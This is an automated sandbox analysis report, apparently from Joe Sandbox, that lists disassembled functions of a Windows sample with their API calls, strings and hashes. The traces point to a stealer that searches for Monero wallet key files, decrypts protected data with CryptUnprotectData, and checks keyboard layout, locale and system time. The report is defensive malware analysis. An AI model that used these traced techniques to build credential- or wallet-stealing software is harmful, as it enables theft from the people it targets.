Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 374e26a5d3b506e7683b6e735074abf2eed36ba0d87a9638a2854f8bc3d0ebb2
Instruction ID: a7e08904b4a463a82633a1d093aebe47f33c9bef258e4caeb95074b0ad303125
Opcode Fuzzy Hash: 374e26a5d3b506e7683b6e735074abf2eed36ba0d87a9638a2854f8bc3d0ebb2
Instruction Fuzzy Hash: ABF19E7181061C9BDB26EB60DC96FEE7778BF14304F80419EA50AA6091EF346F4ADF52

Function 003BDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003D14B0,003D0C2A), ref: 003BDAEB
StrCmpCA.SHLWAPI(?,003D14B4), ref: 003BDB33
StrCmpCA.SHLWAPI(?,003D14B8), ref: 003BDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 003BDDCC
FindClose.KERNEL32(000000FF), ref: 003BDDDE

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 86cace7791b372a25051bb73a751fe6802db339c7780d0e87aff07b2643d6853
Instruction ID: 8f44192cde8f0c59372748a14491a97c52430196df6c574d0fe639ab145f8337
Opcode Fuzzy Hash: 86cace7791b372a25051bb73a751fe6802db339c7780d0e87aff07b2643d6853
Instruction Fuzzy Hash: 5791237290060897CB16FBB0EC56EED777DAB94308F40855DF90ADA541EE349F09CB92

Function 00778034 Relevance: 12.8, Strings: 9, Instructions: 1544COMMON

Download Yara Rule

Strings

J9H), xrefs: 007787C0
>ZI, xrefs: 00778D14
p,[m, xrefs: 00779282
al1i, xrefs: 00778825
B}7_, xrefs: 0077912C
Au8D, xrefs: 007781CA
w6m, xrefs: 00778575
r:?}, xrefs: 007786F2
{3, xrefs: 0077927C

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >ZI$Au8D$B}7_$J9H)$al1i$p,[m$r:?}$w6m${3
API String ID: 0-3651634773
Opcode ID: 46a663db050d81775c4d6cc140fe4a4c2eeea916375f7500fb568de1ef805144
Instruction ID: 13ea682af6de5bf93b4d65a2c6d0de3f63e28bdac752db2fefc5c9bc41252879
Opcode Fuzzy Hash: 46a663db050d81775c4d6cc140fe4a4c2eeea916375f7500fb568de1ef805144
Instruction Fuzzy Hash: 79A2E6F360C2049FE304AE2DEC8567ABBE9EF94720F1A493DE6C4C3744E67598058697

Function 003C7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

GetKeyboardLayoutList.USER32(00000000,00000000,003D05AF), ref: 003C7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 003C7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 003C7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 003C7C62
LocalFree.KERNEL32(00000000), ref: 003C7D22

Strings

/ , xrefs: 003C7C7F

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 9c655ba18acc895f1b9b084cf76610ece96482c25c522f936abb988cd8b772e1
Instruction ID: 17cf1d60a44c48f23c615e98031716b4f6528423e101a471ed6c012bb636206c
Opcode Fuzzy Hash: 9c655ba18acc895f1b9b084cf76610ece96482c25c522f936abb988cd8b772e1
Instruction Fuzzy Hash: FB415D7194021CABCB25DB94DC99FEEB7B8FF54704F204199E40AA6290DB742F85CFA1

Function 003BE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,003D0D73), ref: 003BE4A2
StrCmpCA.SHLWAPI(?,003D14F8), ref: 003BE4F2
StrCmpCA.SHLWAPI(?,003D14FC), ref: 003BE508
FindNextFileA.KERNEL32(000000FF,?), ref: 003BEBDF

Strings

\*.*, xrefs: 003BE44D

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 5463269557e8bc0ea8c69c04cee98bbc8f54d0a7a486fe20a4f8bd6155537c53
Instruction ID: cae9fdf192c7f3fac64f1f8c94414325effafbf5df59591fd10dfd917382d9fc
Opcode Fuzzy Hash: 5463269557e8bc0ea8c69c04cee98bbc8f54d0a7a486fe20a4f8bd6155537c53
Instruction Fuzzy Hash: AC124C7290061C9BDB1AFB60DC96FED7378AF54304F4041ADA50ADA191EF346F49CBA2

Function 007764D4 Relevance: 9.2, Strings: 6, Instructions: 1664COMMON

Download Yara Rule

Strings

A9y, xrefs: 007765AF
0{V^, xrefs: 0077670A
X8y, xrefs: 007772D5
,&f{, xrefs: 007774FC
]f, xrefs: 00777507
f4^,, xrefs: 00776D33

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,&f{$0{V^$A9y$X8y$f4^,$]f
API String ID: 0-16138498
Opcode ID: 59263fd4371b8478f75a63fd84c0d92b0f191380ab18ab05c1b0129fa801a2a3
Instruction ID: 2051c73aac7e21bf91dfc4fc7bc053037dadb05c9097d81ef8f275c5f2d43a0d
Opcode Fuzzy Hash: 59263fd4371b8478f75a63fd84c0d92b0f191380ab18ab05c1b0129fa801a2a3
Instruction Fuzzy Hash: F0B2E4B390C2149FE304BE29DC8567AF7E9EF94760F1A492DEAC5C3744EA3598008797

Function 0077B4CF Relevance: 9.1, Strings: 6, Instructions: 1645COMMON

Download Yara Rule

Strings

a6;o, xrefs: 0077C879
e>{_, xrefs: 0077C246
n|Wl, xrefs: 0077BA63
4"?, xrefs: 0077C0C8
3^w, xrefs: 0077BD3E
/*@;, xrefs: 0077B6C5

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /*@;$3^w$4"?$a6;o$e>{_$n|Wl
API String ID: 0-457620451
Opcode ID: 813252cfad1f20108e4836803d2c693068b0bd7c523ee7981cdb03d39c468810
Instruction ID: db3e8e3a464158f414779f006a1105cf0abc2ef546fccb0bfa5e4d98c3be10ba
Opcode Fuzzy Hash: 813252cfad1f20108e4836803d2c693068b0bd7c523ee7981cdb03d39c468810
Instruction Fuzzy Hash: 67B216F3A0C2049FE3046F2DEC8567AB7E9EB94720F1A4A3DE6C5C3344EA7558118697

Function 0078578E Relevance: 9.1, Strings: 6, Instructions: 1631COMMON

Download Yara Rule

Strings

X_w, xrefs: 007863D6
2Yv, xrefs: 00786686
"3, xrefs: 00786255
L_^, xrefs: 00785F9B
ted Kingdom., xrefs: 00785966, 0078596B
rlw, xrefs: 0078660D, 00786678, 0078671F, 0078689F, 00786902

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2Yv$rlw$ted Kingdom.$"3$L_^$X_w
API String ID: 0-3489168069
Opcode ID: 4204476cadcf46c8876682667f5e3f4759a07ea9d60374c1fc51e4e25f8d5556
Instruction ID: bba96bc01206afde4753c353c37e38a957882d79d055f401970d23c70509b863
Opcode Fuzzy Hash: 4204476cadcf46c8876682667f5e3f4759a07ea9d60374c1fc51e4e25f8d5556
Instruction Fuzzy Hash: 9EB23AF3A0C2049FE704AE2DEC8577ABBE5EF94320F1A463DEAC5D3744E63558018696

Function 003B9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,003B4EEE,00000000,?), ref: 003B9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9B2A
LocalFree.KERNEL32(?,?,?,?,003B4EEE,00000000,?), ref: 003B9B3F

Strings

N;, xrefs: 003B9AD4, 003B9AE1, 003B9AF9, 003B9B18, 003B9AE4, 003B9B1B

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N;
API String ID: 4291131564-1002446643
Opcode ID: b0294fdd27bebf49439c40c05f689623e5bb39f827b5152a9bab11e3b2faf213
Instruction ID: 93ea7029b0fedafe253c75bf2e29026be616577140272f261b31caf22be047ee
Opcode Fuzzy Hash: b0294fdd27bebf49439c40c05f689623e5bb39f827b5152a9bab11e3b2faf213
Instruction Fuzzy Hash: EE11AFB4240308EFEB10CF64DC95FAA77B5FB89704F208059FA199B390C7B6A901DB91

Function 003BC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 003BC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 003BC87C
lstrcat.KERNEL32(?,003D0B46), ref: 003BC943
lstrcat.KERNEL32(?,003D0B47), ref: 003BC957
lstrcat.KERNEL32(?,003D0B4E), ref: 003BC978

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: de62b09b6814789d2acf1a74ed3d7bf2dbbf10feeca26506ef58a6163db86390
Instruction ID: b5efc5a308fca6e084428f243ad2750edd09b5e1798cfa5adfeb2dc3d389bca2
Opcode Fuzzy Hash: de62b09b6814789d2acf1a74ed3d7bf2dbbf10feeca26506ef58a6163db86390
Instruction Fuzzy Hash: BF41A2B5D0420ADFDB10CFA0DC89BFEB7B8BB48704F1045A9E509E6280D7749A84CF92

Function 003C6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 003C696C
sscanf.NTDLL ref: 003C6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003C69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003C69C0
ExitProcess.KERNEL32 ref: 003C69DA

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: ac216c0b4e59a73d36cf6312bf1f61f05a167422172e41d5c128fb3d37db00fb
Instruction ID: 3e3166f1be83cf63d12d0a943f16e6e5b5e4db1bbadbc4c54f34334badb515a0
Opcode Fuzzy Hash: ac216c0b4e59a73d36cf6312bf1f61f05a167422172e41d5c128fb3d37db00fb
Instruction Fuzzy Hash: 5321BAB5D14208ABCF05EFE4D945EEEB7B5BF58300F04852EE40AE3250EB745609DBA6

Function 003B7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 003B724D
RtlAllocateHeap.NTDLL(00000000), ref: 003B7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 003B7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 003B72A4
LocalFree.KERNEL32(?), ref: 003B72AE

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: b5a1342ac4747e14881cf220eeae5fc8223c4974fd82d33b277313065604771e
Instruction ID: 7b0344d177731566c31b410a3b4cf4363b15ab9ef9c4f30f4222abd0fcd7c18a
Opcode Fuzzy Hash: b5a1342ac4747e14881cf220eeae5fc8223c4974fd82d33b277313065604771e
